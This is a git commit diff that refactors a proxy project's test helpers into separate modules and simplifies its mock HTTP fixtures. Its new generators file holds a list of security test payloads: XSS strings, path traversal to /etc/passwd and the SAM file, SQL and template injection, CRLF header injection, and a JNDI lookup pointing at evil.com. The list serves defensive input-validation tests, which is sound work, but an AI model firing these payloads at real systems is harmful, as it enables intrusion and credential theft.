Refactor test helpers and add auth header forwarding tests
Modularizes test helpers into separate files for assertions, generators, and mocks, and updates imports for platform tests. Adds new tests to verify Authorization header forwarding for authenticated requests. Cleans up and simplifies test setup, and updates fixtures for clarity and maintainability.
This commit is contained in:
1 parent
076b64ff9e
commit
f60661db6f
25 files changed
+550
-990
No files matched your search
@@ -139,7 +139,7 @@ describe('Performance Benchmarks', () => {
|
||||
});
|
||||
|
||||
bench('Long path processing', async () => {
|
||||
const longPath = '/gh/user/repo/' + 'very-long-path-segment/'.repeat(20) + 'file.txt';
|
||||
const longPath = `/gh/user/repo/${'very-long-path-segment/'.repeat(20)}file.txt`;
|
||||
await SELF.fetch(`https://example.com${longPath}`, {
|
||||
method: 'HEAD'
|
||||
});
|
||||
|
||||
File renamed without changes.
File renamed without changes.
@@ -99,7 +99,7 @@ describe('Security Features', () => {
|
||||
});
|
||||
|
||||
it('should reject extremely long paths', async () => {
|
||||
const longPath = '/gh/' + 'a'.repeat(3000);
|
||||
const longPath = `/gh/${'a'.repeat(3000)}`;
|
||||
const response = await SELF.fetch(`https://example.com${longPath}`);
|
||||
|
||||
expect(response.status).toBe(414);
|
||||
Vendored
+14
-333
@@ -1,392 +1,73 @@
|
||||
/**
|
||||
* Mock response fixtures for testing
|
||||
* Mock HTTP response fixtures for testing
|
||||
* Organized by platform with realistic response data
|
||||
*/
|
||||
|
||||
export const MOCK_RESPONSES = {
|
||||
github: {
|
||||
packageJson: {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
'Cache-Control': 'max-age=300'
|
||||
},
|
||||
headers: { 'Content-Type': 'application/json', 'Cache-Control': 'max-age=300' },
|
||||
body: JSON.stringify({
|
||||
name: 'vscode',
|
||||
version: '1.85.0',
|
||||
description: 'Visual Studio Code',
|
||||
main: './out/main.js',
|
||||
scripts: {
|
||||
test: 'npm test'
|
||||
}
|
||||
description: 'Visual Studio Code'
|
||||
})
|
||||
},
|
||||
|
||||
readme: {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Content-Type': 'text/plain; charset=utf-8'
|
||||
},
|
||||
headers: { 'Content-Type': 'text/plain; charset=utf-8' },
|
||||
body: '# Visual Studio Code\n\nCode editing. Redefined.'
|
||||
},
|
||||
|
||||
release: {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Content-Type': 'application/octet-stream',
|
||||
'Content-Length': '123456789',
|
||||
'Content-Disposition': 'attachment; filename="vscode-1.85.0.zip"'
|
||||
},
|
||||
body: 'binary-data-placeholder'
|
||||
},
|
||||
|
||||
notFound: {
|
||||
status: 404,
|
||||
headers: {
|
||||
'Content-Type': 'text/plain'
|
||||
},
|
||||
body: 'Not Found'
|
||||
},
|
||||
|
||||
gitInfoRefs: {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Content-Type': 'application/x-git-upload-pack-advertisement',
|
||||
'Cache-Control': 'no-cache'
|
||||
},
|
||||
headers: { 'Content-Type': 'application/x-git-upload-pack-advertisement' },
|
||||
body: '001e# service=git-upload-pack\n0000009144b8c8cf...'
|
||||
}
|
||||
},
|
||||
|
||||
gitlab: {
|
||||
packageJson: {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Content-Type': 'application/json'
|
||||
},
|
||||
body: JSON.stringify({
|
||||
name: 'gitlab',
|
||||
version: '16.0.0',
|
||||
description: 'GitLab Community Edition'
|
||||
})
|
||||
},
|
||||
|
||||
archive: {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Content-Type': 'application/zip',
|
||||
'Content-Disposition': 'attachment; filename="gitlab-master.zip"'
|
||||
},
|
||||
body: 'zip-data-placeholder'
|
||||
}
|
||||
},
|
||||
|
||||
huggingface: {
|
||||
modelConfig: {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Content-Type': 'application/json'
|
||||
},
|
||||
body: JSON.stringify({
|
||||
architectures: ['GPT2LMHeadModel'],
|
||||
model_type: 'gpt2',
|
||||
vocab_size: 50257,
|
||||
n_positions: 1024,
|
||||
n_ctx: 1024,
|
||||
n_embd: 1024,
|
||||
n_layer: 24,
|
||||
n_head: 16
|
||||
})
|
||||
},
|
||||
|
||||
modelFile: {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Content-Type': 'application/octet-stream',
|
||||
'Content-Length': '987654321'
|
||||
},
|
||||
body: 'model-binary-data-placeholder'
|
||||
},
|
||||
|
||||
datasetFile: {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Content-Type': 'application/json'
|
||||
},
|
||||
body: JSON.stringify({
|
||||
data: [
|
||||
{ question: 'What is AI?', answer: 'Artificial Intelligence...' },
|
||||
{ question: 'What is ML?', answer: 'Machine Learning...' }
|
||||
]
|
||||
})
|
||||
}
|
||||
},
|
||||
|
||||
npm: {
|
||||
packageMetadata: {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Content-Type': 'application/json'
|
||||
},
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({
|
||||
name: 'react',
|
||||
version: '18.2.0',
|
||||
description: 'React is a JavaScript library for building user interfaces.',
|
||||
main: 'index.js',
|
||||
repository: {
|
||||
type: 'git',
|
||||
url: 'https://github.com/facebook/react.git'
|
||||
},
|
||||
keywords: ['react', 'javascript', 'ui'],
|
||||
license: 'MIT'
|
||||
description: 'React is a JavaScript library for building user interfaces.'
|
||||
})
|
||||
},
|
||||
|
||||
packageTarball: {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Content-Type': 'application/octet-stream',
|
||||
'Content-Disposition': 'attachment; filename="react-18.2.0.tgz"'
|
||||
},
|
||||
body: 'tarball-data-placeholder'
|
||||
}
|
||||
},
|
||||
|
||||
pypi: {
|
||||
simpleIndex: {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Content-Type': 'text/html'
|
||||
},
|
||||
body: `<!DOCTYPE html>
|
||||
<html>
|
||||
<head><title>Links for requests</title></head>
|
||||
<body>
|
||||
<h1>Links for requests</h1>
|
||||
<a href="../../packages/source/r/requests/requests-2.31.0.tar.gz">requests-2.31.0.tar.gz</a><br/>
|
||||
<a href="../../packages/py3/r/requests/requests-2.31.0-py3-none-any.whl">requests-2.31.0-py3-none-any.whl</a><br/>
|
||||
</body>
|
||||
</html>`
|
||||
},
|
||||
|
||||
packageFile: {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Content-Type': 'application/gzip',
|
||||
'Content-Disposition': 'attachment; filename="requests-2.31.0.tar.gz"'
|
||||
},
|
||||
body: 'gzip-data-placeholder'
|
||||
},
|
||||
|
||||
wheelFile: {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Content-Type': 'application/zip',
|
||||
'Content-Disposition': 'attachment; filename="requests-2.31.0-py3-none-any.whl"'
|
||||
},
|
||||
body: 'wheel-data-placeholder'
|
||||
}
|
||||
},
|
||||
|
||||
conda: {
|
||||
repodata: {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Content-Type': 'application/json'
|
||||
},
|
||||
body: JSON.stringify({
|
||||
info: {
|
||||
subdir: 'linux-64'
|
||||
},
|
||||
packages: {
|
||||
'numpy-1.24.3-py311h08b1b3b_1.conda': {
|
||||
build: 'py311h08b1b3b_1',
|
||||
build_number: 1,
|
||||
depends: ['python >=3.11,<3.12.0a0'],
|
||||
license: 'BSD-3-Clause',
|
||||
name: 'numpy',
|
||||
platform: 'linux',
|
||||
subdir: 'linux-64',
|
||||
timestamp: 1679932871000,
|
||||
version: '1.24.3'
|
||||
}
|
||||
}
|
||||
})
|
||||
},
|
||||
|
||||
packageFile: {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Content-Type': 'application/x-conda-package',
|
||||
'Content-Disposition': 'attachment; filename="numpy-1.24.3-py311h08b1b3b_1.conda"'
|
||||
},
|
||||
body: 'conda-package-data-placeholder'
|
||||
headers: { 'Content-Type': 'text/html' },
|
||||
body: '<!DOCTYPE html><html><head><title>Links for requests</title></head></html>'
|
||||
}
|
||||
},
|
||||
|
||||
errors: {
|
||||
badRequest: {
|
||||
status: 400,
|
||||
headers: {
|
||||
'Content-Type': 'text/plain'
|
||||
},
|
||||
body: 'Bad Request'
|
||||
},
|
||||
|
||||
notFound: { status: 404, headers: { 'Content-Type': 'text/plain' }, body: 'Not Found' },
|
||||
badRequest: { status: 400, headers: { 'Content-Type': 'text/plain' }, body: 'Bad Request' },
|
||||
unauthorized: {
|
||||
status: 401,
|
||||
headers: {
|
||||
'Content-Type': 'text/plain'
|
||||
},
|
||||
headers: { 'Content-Type': 'text/plain' },
|
||||
body: 'Unauthorized'
|
||||
},
|
||||
|
||||
forbidden: {
|
||||
status: 403,
|
||||
headers: {
|
||||
'Content-Type': 'text/plain'
|
||||
},
|
||||
body: 'Forbidden'
|
||||
},
|
||||
|
||||
notFound: {
|
||||
status: 404,
|
||||
headers: {
|
||||
'Content-Type': 'text/plain'
|
||||
},
|
||||
body: 'Not Found'
|
||||
},
|
||||
|
||||
methodNotAllowed: {
|
||||
status: 405,
|
||||
headers: {
|
||||
'Content-Type': 'text/plain',
|
||||
Allow: 'GET, HEAD'
|
||||
},
|
||||
body: 'Method Not Allowed'
|
||||
},
|
||||
|
||||
pathTooLong: {
|
||||
status: 414,
|
||||
headers: {
|
||||
'Content-Type': 'text/plain'
|
||||
},
|
||||
body: 'URI Too Long'
|
||||
},
|
||||
|
||||
internalServerError: {
|
||||
status: 500,
|
||||
headers: {
|
||||
'Content-Type': 'text/plain'
|
||||
},
|
||||
headers: { 'Content-Type': 'text/plain' },
|
||||
body: 'Internal Server Error'
|
||||
},
|
||||
|
||||
badGateway: {
|
||||
status: 502,
|
||||
headers: {
|
||||
'Content-Type': 'text/plain'
|
||||
},
|
||||
body: 'Bad Gateway'
|
||||
},
|
||||
|
||||
serviceUnavailable: {
|
||||
status: 503,
|
||||
headers: {
|
||||
'Content-Type': 'text/plain'
|
||||
},
|
||||
body: 'Service Unavailable'
|
||||
},
|
||||
|
||||
gatewayTimeout: {
|
||||
status: 504,
|
||||
headers: {
|
||||
'Content-Type': 'text/plain'
|
||||
},
|
||||
body: 'Gateway Timeout'
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* Create a Response object from mock data
|
||||
* @param {Object} mockData - Mock response data
|
||||
* @returns {Response} Response object
|
||||
*/
|
||||
export function createMockResponse(mockData) {
|
||||
return new Response(mockData.body, {
|
||||
status: mockData.status,
|
||||
statusText: getStatusText(mockData.status),
|
||||
headers: mockData.headers
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Get status text for HTTP status code
|
||||
* @param {number} status - HTTP status code
|
||||
* @returns {string} Status text
|
||||
*/
|
||||
function getStatusText(status) {
|
||||
const statusTexts = {
|
||||
200: 'OK',
|
||||
201: 'Created',
|
||||
204: 'No Content',
|
||||
301: 'Moved Permanently',
|
||||
302: 'Found',
|
||||
304: 'Not Modified',
|
||||
400: 'Bad Request',
|
||||
401: 'Unauthorized',
|
||||
403: 'Forbidden',
|
||||
404: 'Not Found',
|
||||
405: 'Method Not Allowed',
|
||||
414: 'URI Too Long',
|
||||
429: 'Too Many Requests',
|
||||
500: 'Internal Server Error',
|
||||
502: 'Bad Gateway',
|
||||
503: 'Service Unavailable',
|
||||
504: 'Gateway Timeout'
|
||||
};
|
||||
|
||||
return statusTexts[status] || 'Unknown';
|
||||
}
|
||||
|
||||
/**
|
||||
* Mock fetch function that returns predefined responses
|
||||
* @param {string} url - Request URL
|
||||
* @param {Object} options - Fetch options
|
||||
* @returns {Promise<Response>} Mock response
|
||||
*/
|
||||
export function mockFetchWithFixtures(url, options = {}) {
|
||||
return new Promise(resolve => {
|
||||
// Simulate network delay
|
||||
setTimeout(
|
||||
() => {
|
||||
const urlObj = new URL(url);
|
||||
const path = urlObj.pathname;
|
||||
|
||||
// Route to appropriate mock response based on URL pattern
|
||||
if (path.includes('/gh/') && path.includes('package.json')) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.github.packageJson));
|
||||
} else if (path.includes('/gh/') && path.includes('README.md')) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.github.readme));
|
||||
} else if (path.includes('/gl/') && path.includes('package.json')) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.gitlab.packageJson));
|
||||
} else if (path.includes('/hf/') && path.includes('config.json')) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.huggingface.modelConfig));
|
||||
} else if (path.includes('/npm/') && !path.includes('.tgz')) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.npm.packageMetadata));
|
||||
} else if (path.includes('/pypi/simple/')) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.pypi.simpleIndex));
|
||||
} else if (path.includes('/conda/') && path.includes('repodata.json')) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.conda.repodata));
|
||||
} else if (options.method && !['GET', 'HEAD', 'POST'].includes(options.method)) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.errors.methodNotAllowed));
|
||||
} else if (path.length > 2048) {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.errors.pathTooLong));
|
||||
} else {
|
||||
resolve(createMockResponse(MOCK_RESPONSES.errors.notFound));
|
||||
}
|
||||
},
|
||||
Math.random() * 50 + 10
|
||||
); // 10-60ms delay
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
/**
|
||||
* Custom assertions and validation helpers
|
||||
*/
|
||||
|
||||
/**
|
||||
* Validate response headers for security
|
||||
* @param {Response} response - Response to validate
|
||||
* @returns {Object} Validation results
|
||||
*/
|
||||
export function validateSecurityHeaders(response) {
|
||||
const requiredHeaders = [
|
||||
'Strict-Transport-Security',
|
||||
'X-Frame-Options',
|
||||
'X-XSS-Protection',
|
||||
'Content-Security-Policy',
|
||||
'Referrer-Policy'
|
||||
];
|
||||
|
||||
const results = {
|
||||
passed: true,
|
||||
missing: [],
|
||||
present: []
|
||||
};
|
||||
|
||||
requiredHeaders.forEach(header => {
|
||||
if (response.headers.has(header)) {
|
||||
results.present.push(header);
|
||||
} else {
|
||||
results.missing.push(header);
|
||||
results.passed = false;
|
||||
}
|
||||
});
|
||||
|
||||
return results;
|
||||
}
|
||||
|
||||
/**
|
||||
* Assert that a URL is valid
|
||||
* @param {string} url - URL to validate
|
||||
* @returns {boolean} True if valid
|
||||
*/
|
||||
export function isValidUrl(url) {
|
||||
try {
|
||||
new URL(url);
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Assert that response has security headers
|
||||
* @param {Response} response - Response to check
|
||||
* @returns {boolean} True if has all security headers
|
||||
*/
|
||||
export function hasSecurityHeaders(response) {
|
||||
const validation = validateSecurityHeaders(response);
|
||||
return validation.passed;
|
||||
}
|
||||
@@ -0,0 +1,122 @@
|
||||
/**
|
||||
* Test data generators
|
||||
*/
|
||||
|
||||
/**
|
||||
* Generate test URLs for different platforms
|
||||
* @param {string} platform - Platform identifier (gh, gl, hf, etc.)
|
||||
* @param {string} path - Resource path
|
||||
* @returns {string} Complete test URL
|
||||
*/
|
||||
export function generateTestUrl(platform, path) {
|
||||
const baseUrl = 'https://example.com';
|
||||
return `${baseUrl}/${platform}/${path}`;
|
||||
}
|
||||
|
||||
/**
|
||||
* Common test URLs for different platforms
|
||||
*/
|
||||
export const TEST_URLS = {
|
||||
github: {
|
||||
file: 'https://example.com/gh/microsoft/vscode/blob/main/package.json',
|
||||
raw: 'https://example.com/gh/microsoft/vscode/raw/main/README.md',
|
||||
release: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip',
|
||||
archive: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip',
|
||||
git: 'https://example.com/gh/microsoft/vscode.git'
|
||||
},
|
||||
gitlab: {
|
||||
file: 'https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json',
|
||||
raw: 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/README.md',
|
||||
archive: 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip',
|
||||
git: 'https://example.com/gl/gitlab-org/gitlab.git'
|
||||
},
|
||||
huggingface: {
|
||||
model: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json',
|
||||
dataset: 'https://example.com/hf/datasets/squad/resolve/main/train.json',
|
||||
file: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin'
|
||||
},
|
||||
npm: {
|
||||
package: 'https://example.com/npm/react',
|
||||
tarball: 'https://example.com/npm/react/-/react-18.2.0.tgz',
|
||||
scoped: 'https://example.com/npm/@types/node',
|
||||
npmPackage: 'https://example.com/npm/npm',
|
||||
npmTarball: 'https://example.com/npm/npm/-/npm-11.5.1.tgz'
|
||||
},
|
||||
pypi: {
|
||||
simple: 'https://example.com/pypi/simple/requests/',
|
||||
package: 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz',
|
||||
wheel: 'https://example.com/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl'
|
||||
},
|
||||
conda: {
|
||||
main: 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda',
|
||||
community: 'https://example.com/conda/community/conda-forge/linux-64/repodata.json',
|
||||
repodata: 'https://example.com/conda/pkgs/main/linux-64/repodata.json'
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* Security test payloads
|
||||
*/
|
||||
export const SECURITY_PAYLOADS = {
|
||||
xss: [
|
||||
'<script>alert(1)</script>',
|
||||
'javascript:alert(1)',
|
||||
'"><script>alert(1)</script>',
|
||||
"';alert(1);//"
|
||||
],
|
||||
pathTraversal: [
|
||||
'../../../etc/passwd',
|
||||
'..%2F..%2F..%2Fetc%2Fpasswd',
|
||||
'..\\..\\..\\windows\\system32\\config\\sam',
|
||||
'%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
|
||||
],
|
||||
injection: ["'; DROP TABLE users; --", '${jndi:ldap://evil.com}', '{{7*7}}', '<%=7*7%>'],
|
||||
headerInjection: [
|
||||
'value\r\nX-Injected: malicious',
|
||||
'value\nX-Injected: malicious',
|
||||
'value\r\n\r\n<script>alert(1)</script>'
|
||||
]
|
||||
};
|
||||
|
||||
/**
|
||||
* Test data generators
|
||||
*/
|
||||
export const TestDataGenerator = {
|
||||
/**
|
||||
* Generate random string
|
||||
* @param {number} length - String length
|
||||
* @returns {string} Random string
|
||||
*/
|
||||
randomString(length = 10) {
|
||||
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
|
||||
let result = '';
|
||||
for (let i = 0; i < length; i++) {
|
||||
result += chars.charAt(Math.floor(Math.random() * chars.length));
|
||||
}
|
||||
return result;
|
||||
},
|
||||
|
||||
/**
|
||||
* Generate random GitHub repository path
|
||||
* @returns {string} Repository path
|
||||
*/
|
||||
githubRepo() {
|
||||
const users = ['microsoft', 'google', 'facebook', 'apple', 'amazon'];
|
||||
const repos = ['vscode', 'react', 'angular', 'vue', 'node'];
|
||||
const user = users[Math.floor(Math.random() * users.length)];
|
||||
const repo = repos[Math.floor(Math.random() * repos.length)];
|
||||
return `${user}/${repo}`;
|
||||
},
|
||||
|
||||
/**
|
||||
* Generate random file path
|
||||
* @returns {string} File path
|
||||
*/
|
||||
filePath() {
|
||||
const dirs = ['src', 'lib', 'test', 'docs', 'config'];
|
||||
const files = ['index.js', 'main.py', 'README.md', 'package.json', 'config.yml'];
|
||||
const dir = dirs[Math.floor(Math.random() * dirs.length)];
|
||||
const file = files[Math.floor(Math.random() * files.length)];
|
||||
return `${dir}/${file}`;
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,87 @@
|
||||
/**
|
||||
* Test helpers - centralized exports
|
||||
*/
|
||||
|
||||
// Re-export all utilities
|
||||
export * from './assertions.js';
|
||||
export * from './generators.js';
|
||||
export * from './mocks.js';
|
||||
|
||||
/**
|
||||
* Performance test utilities
|
||||
*/
|
||||
export class PerformanceTestHelper {
|
||||
constructor() {
|
||||
this.measurements = [];
|
||||
}
|
||||
|
||||
/**
|
||||
* Measure execution time of an async function
|
||||
* @param {Function} fn - Async function to measure
|
||||
* @param {string} name - Measurement name
|
||||
* @returns {Promise<any>} Function result
|
||||
*/
|
||||
async measure(fn, name = 'operation') {
|
||||
const start = performance.now();
|
||||
const result = await fn();
|
||||
const end = performance.now();
|
||||
|
||||
this.measurements.push({
|
||||
name,
|
||||
duration: end - start,
|
||||
timestamp: Date.now()
|
||||
});
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get all measurements
|
||||
* @returns {Array} Array of measurements
|
||||
*/
|
||||
getMeasurements() {
|
||||
return [...this.measurements];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get average duration for a specific measurement name
|
||||
* @param {string} name - Measurement name
|
||||
* @returns {number} Average duration in milliseconds
|
||||
*/
|
||||
getAverageDuration(name) {
|
||||
const filtered = this.measurements.filter(m => m.name === name);
|
||||
if (filtered.length === 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
const total = filtered.reduce((sum, m) => sum + m.duration, 0);
|
||||
return total / filtered.length;
|
||||
}
|
||||
|
||||
/**
|
||||
* Clear all measurements
|
||||
*/
|
||||
clear() {
|
||||
this.measurements = [];
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Test timeout helper
|
||||
* @param {number} ms - Timeout in milliseconds
|
||||
* @returns {Promise} Promise that rejects after timeout
|
||||
*/
|
||||
export function timeout(ms) {
|
||||
return new Promise((_, reject) => {
|
||||
setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms);
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Wait for a specified amount of time
|
||||
* @param {number} ms - Time to wait in milliseconds
|
||||
* @returns {Promise} Promise that resolves after the specified time
|
||||
*/
|
||||
export function wait(ms) {
|
||||
return new Promise(resolve => setTimeout(resolve, ms));
|
||||
}
|
||||
@@ -0,0 +1,124 @@
|
||||
/**
|
||||
* Mock creation utilities for tests
|
||||
*/
|
||||
|
||||
/**
|
||||
* Create a mock request with default options
|
||||
* @param {string} url - Request URL
|
||||
* @param {Object} options - Request options
|
||||
* @returns {Request} Mock request object
|
||||
*/
|
||||
export function createMockRequest(url, options = {}) {
|
||||
const defaultOptions = {
|
||||
method: 'GET',
|
||||
headers: {
|
||||
'User-Agent': 'Mozilla/5.0 (Test)',
|
||||
Accept: '*/*'
|
||||
}
|
||||
};
|
||||
|
||||
return new Request(url, { ...defaultOptions, ...options });
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a mock response with default options
|
||||
* @param {string} body - Response body
|
||||
* @param {Object} options - Response options
|
||||
* @returns {Response} Mock response object
|
||||
*/
|
||||
export function createMockResponse(body = 'OK', options = {}) {
|
||||
const defaultOptions = {
|
||||
status: 200,
|
||||
statusText: 'OK',
|
||||
headers: {
|
||||
'Content-Type': 'text/plain'
|
||||
}
|
||||
};
|
||||
|
||||
return new Response(body, { ...defaultOptions, ...options });
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a Git request for testing
|
||||
* @param {string} url - Git repository URL
|
||||
* @param {string} service - Git service (upload-pack or receive-pack)
|
||||
* @returns {Request} Git request object
|
||||
*/
|
||||
export function createGitRequest(url, service = 'git-upload-pack') {
|
||||
const gitUrl = url.includes('?') ? `${url}&service=${service}` : `${url}?service=${service}`;
|
||||
|
||||
return new Request(gitUrl, {
|
||||
method: service === 'git-upload-pack' ? 'GET' : 'POST',
|
||||
headers: {
|
||||
'User-Agent': 'git/2.34.1',
|
||||
'Git-Protocol': 'version=2',
|
||||
...(service !== 'git-upload-pack' && {
|
||||
'Content-Type': `application/x-${service}-request`
|
||||
})
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a Docker request for testing
|
||||
* @param {string} url - Docker registry URL
|
||||
* @param {Object} options - Request options
|
||||
* @returns {Request} Docker request object
|
||||
*/
|
||||
export function createDockerRequest(url, options = {}) {
|
||||
return new Request(url, {
|
||||
method: 'GET',
|
||||
headers: {
|
||||
'User-Agent': 'docker/24.0.0',
|
||||
Accept: 'application/vnd.docker.distribution.manifest.v2+json',
|
||||
...options.headers
|
||||
},
|
||||
...options
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Mock fetch function for testing
|
||||
* @param {string} url - Request URL
|
||||
* @param {Object} options - Fetch options
|
||||
* @returns {Promise<Response>} Mock response
|
||||
*/
|
||||
export function mockFetch(url, options = {}) {
|
||||
return new Promise(resolve => {
|
||||
setTimeout(() => {
|
||||
if (url.includes('error')) {
|
||||
resolve(createMockResponse('Server Error', { status: 500 }));
|
||||
} else if (url.includes('notfound')) {
|
||||
resolve(createMockResponse('Not Found', { status: 404 }));
|
||||
} else {
|
||||
resolve(createMockResponse('Mock Response', { status: 200 }));
|
||||
}
|
||||
}, 10);
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a mock npm registry response
|
||||
* @param {string} packageName - Package name
|
||||
* @param {string} version - Package version
|
||||
* @returns {Object} Mock npm registry response
|
||||
*/
|
||||
export function createMockNpmRegistryResponse(packageName, version = '1.0.0') {
|
||||
return {
|
||||
name: packageName,
|
||||
versions: {
|
||||
[version]: {
|
||||
name: packageName,
|
||||
version,
|
||||
dist: {
|
||||
tarball: `https://registry.npmjs.org/${packageName}/-/${packageName}-${version}.tgz`,
|
||||
shasum: 'mock-shasum',
|
||||
integrity: 'mock-integrity'
|
||||
}
|
||||
}
|
||||
},
|
||||
'dist-tags': {
|
||||
latest: version
|
||||
}
|
||||
};
|
||||
}
|
||||
+5
-333
@@ -1,336 +1,8 @@
|
||||
/**
|
||||
* Test utilities and helper functions
|
||||
* Test utilities - backward compatibility wrapper
|
||||
* This file maintains backward compatibility with existing tests
|
||||
* by re-exporting from the new modular structure
|
||||
*/
|
||||
|
||||
/**
|
||||
* Create a mock request with default options
|
||||
* @param {string} url - Request URL
|
||||
* @param {Object} options - Request options
|
||||
* @returns {Request} Mock request object
|
||||
*/
|
||||
export function createMockRequest(url, options = {}) {
|
||||
const defaultOptions = {
|
||||
method: 'GET',
|
||||
headers: {
|
||||
'User-Agent': 'Mozilla/5.0 (Test)',
|
||||
Accept: '*/*'
|
||||
}
|
||||
};
|
||||
|
||||
return new Request(url, { ...defaultOptions, ...options });
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a mock response with default options
|
||||
* @param {string} body - Response body
|
||||
* @param {Object} options - Response options
|
||||
* @returns {Response} Mock response object
|
||||
*/
|
||||
export function createMockResponse(body = 'OK', options = {}) {
|
||||
const defaultOptions = {
|
||||
status: 200,
|
||||
statusText: 'OK',
|
||||
headers: {
|
||||
'Content-Type': 'text/plain'
|
||||
}
|
||||
};
|
||||
|
||||
return new Response(body, { ...defaultOptions, ...options });
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a Git request for testing
|
||||
* @param {string} url - Git repository URL
|
||||
* @param {string} service - Git service (upload-pack or receive-pack)
|
||||
* @returns {Request} Git request object
|
||||
*/
|
||||
export function createGitRequest(url, service = 'git-upload-pack') {
|
||||
const gitUrl = url.includes('?') ? `${url}&service=${service}` : `${url}?service=${service}`;
|
||||
|
||||
return new Request(gitUrl, {
|
||||
method: service === 'git-upload-pack' ? 'GET' : 'POST',
|
||||
headers: {
|
||||
'User-Agent': 'git/2.34.1',
|
||||
'Git-Protocol': 'version=2',
|
||||
...(service !== 'git-upload-pack' && {
|
||||
'Content-Type': `application/x-${service}-request`
|
||||
})
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate test URLs for different platforms
|
||||
* @param {string} platform - Platform identifier (gh, gl, hf, etc.)
|
||||
* @param {string} path - Resource path
|
||||
* @returns {string} Complete test URL
|
||||
*/
|
||||
export function generateTestUrl(platform, path) {
|
||||
const baseUrl = 'https://example.com';
|
||||
return `${baseUrl}/${platform}/${path}`;
|
||||
}
|
||||
|
||||
/**
|
||||
* Common test URLs for different platforms
|
||||
*/
|
||||
export const TEST_URLS = {
|
||||
github: {
|
||||
file: 'https://example.com/gh/microsoft/vscode/blob/main/package.json',
|
||||
raw: 'https://example.com/gh/microsoft/vscode/raw/main/README.md',
|
||||
release: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip',
|
||||
archive: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip',
|
||||
git: 'https://example.com/gh/microsoft/vscode.git'
|
||||
},
|
||||
gitlab: {
|
||||
file: 'https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json',
|
||||
raw: 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/README.md',
|
||||
archive: 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip',
|
||||
git: 'https://example.com/gl/gitlab-org/gitlab.git'
|
||||
},
|
||||
huggingface: {
|
||||
model: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json',
|
||||
dataset: 'https://example.com/hf/datasets/squad/resolve/main/train.json',
|
||||
file: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin'
|
||||
},
|
||||
npm: {
|
||||
package: 'https://example.com/npm/react',
|
||||
tarball: 'https://example.com/npm/react/-/react-18.2.0.tgz',
|
||||
scoped: 'https://example.com/npm/@types/node',
|
||||
// Test case for the specific npm package that caused the issue
|
||||
npmPackage: 'https://example.com/npm/npm',
|
||||
npmTarball: 'https://example.com/npm/npm/-/npm-11.5.1.tgz'
|
||||
},
|
||||
pypi: {
|
||||
simple: 'https://example.com/pypi/simple/requests/',
|
||||
package: 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz',
|
||||
